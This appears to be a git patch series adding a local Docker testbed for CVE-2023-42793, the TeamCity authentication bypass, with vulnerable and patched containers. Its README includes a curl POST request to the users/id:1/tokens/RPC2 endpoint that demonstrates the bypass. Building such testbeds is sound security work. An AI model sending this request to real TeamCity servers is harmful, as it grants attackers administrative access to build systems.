From fbb84de08fd4cb00cee4fb479d093879bdcd50da Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 8 Oct 2026 07:36:51 -0400 Subject: [PATCH 1/4] testbed for CVE-2023-42793 --- jetbrains/teamcity/CVE-2023-42793/README.md | 33 +++++++++++++++++++ .../CVE-2023-42793/docker-compose.yml | 10 ++++++ 2 files changed, 43 insertions(+) create mode 100644 jetbrains/teamcity/CVE-2023-42793/README.md create mode 100644 jetbrains/teamcity/CVE-2023-42793/docker-compose.yml diff --git a/jetbrains/teamcity/CVE-2023-42793/README.md b/jetbrains/teamcity/CVE-2023-42793/README.md new file mode 100644 index 00000000..e8c1a292 --- /dev/null +++ b/jetbrains/teamcity/CVE-2023-42793/README.md @@ -0,0 +1,33 @@ +# JetBrains TeamCity CVE-2023-42793 + +These are the deployment instructions for JetBrains TeamCity - CVE-2023-42793 testbed. Versions prior to 2023.05.4 are affected by an authentication bypass vulnerability that allows attackers to perform administrative actions. + +## Setup +``` +docker compose up +``` + +You may need to run the services individually with `docker compose up teamcity-vuln` or `docker compose up teamcity-patched`. + +Then, you need to quickly visit the webpage at localhost:8081 (vulnerable) or localhost:8082 (patched) and complete the setup and make an admin user. + +## Testing the vulnerability + +### Vulnerable version +``` +curl -X POST host.docker.internal:8081/app/rest/users/id:1/tokens/RPC2 +``` +Response: +``` + +``` + +### Safe version +``` +curl -X POST host.docker.internal:8082/app/rest/users/id:1/tokens/RPC2 +``` +Response: +``` +Authentication required +To login manually go to "/login.html" page +``` \ No newline at end of file diff --git a/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml b/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml new file mode 100644 index 00000000..bf2f0398 --- /dev/null +++ b/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml @@ -0,0 +1,10 @@ +services: + teamcity-vuln: + image: jetbrains/teamcity-server:2023.05.3 + ports: ["8081:8111"] + user: root + + teamcity-patched: + image: jetbrains/teamcity-server:2023.05.4 + ports: ["8082:8111"] + user: root \ No newline at end of file From bb3cc84010041ce2da81e5a9dca849387b27f1da Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 16 Oct 2026 08:09:37 -0400 Subject: [PATCH 2/4] Update jetbrains/teamcity/CVE-2023-42793/README.md Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> --- jetbrains/teamcity/CVE-2023-42793/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/jetbrains/teamcity/CVE-2023-42793/README.md b/jetbrains/teamcity/CVE-2023-42793/README.md index e8c1a292..c6372d71 100644 --- a/jetbrains/teamcity/CVE-2023-42793/README.md +++ b/jetbrains/teamcity/CVE-2023-42793/README.md @@ -15,7 +15,7 @@ Then, you need to quickly visit the webpage at localhost:8081 (vulnerable) or lo ### Vulnerable version ``` -curl -X POST host.docker.internal:8081/app/rest/users/id:1/tokens/RPC2 +curl -X POST localhost:8081/app/rest/users/id:1/tokens/RPC2 ``` Response: ``` From c202d2472d5c2566f814c89c1d0749778c4022ea Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 16 Oct 2026 08:09:54 -0400 Subject: [PATCH 3/4] Update jetbrains/teamcity/CVE-2023-42793/README.md Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> --- jetbrains/teamcity/CVE-2023-42793/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/jetbrains/teamcity/CVE-2023-42793/README.md b/jetbrains/teamcity/CVE-2023-42793/README.md index c6372d71..bfd6b19b 100644 --- a/jetbrains/teamcity/CVE-2023-42793/README.md +++ b/jetbrains/teamcity/CVE-2023-42793/README.md @@ -24,7 +24,7 @@ Response: ### Safe version ``` -curl -X POST host.docker.internal:8082/app/rest/users/id:1/tokens/RPC2 +curl -X POST localhost:8082/app/rest/users/id:1/tokens/RPC2 ``` Response: ``` From a221d2e43cc6885113aedd1390e36042e40c374b Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 16 Oct 2026 08:24:31 -0400 Subject: [PATCH 4/4] remove root user in favor of volumes owned by container user --- .../teamcity/CVE-2023-42793/docker-compose.yml | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml b/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml index bf2f0398..96cc3cd5 100644 --- a/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml +++ b/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml @@ -2,9 +2,19 @@ services: teamcity-vuln: image: jetbrains/teamcity-server:2023.05.3 ports: ["8081:8111"] - user: root + volumes: + - teamcity-data-vuln:/data/teamcity_server/datadir + - teamcity-logs-vuln:/opt/teamcity/logs teamcity-patched: image: jetbrains/teamcity-server:2023.05.4 ports: ["8082:8111"] - user: root \ No newline at end of file + volumes: + - teamcity-data-patched:/data/teamcity_server/datadir + - teamcity-logs-patched:/opt/teamcity/logs + +volumes: + teamcity-data-patched: + teamcity-logs-patched: + teamcity-data-vuln: + teamcity-logs-vuln: \ No newline at end of file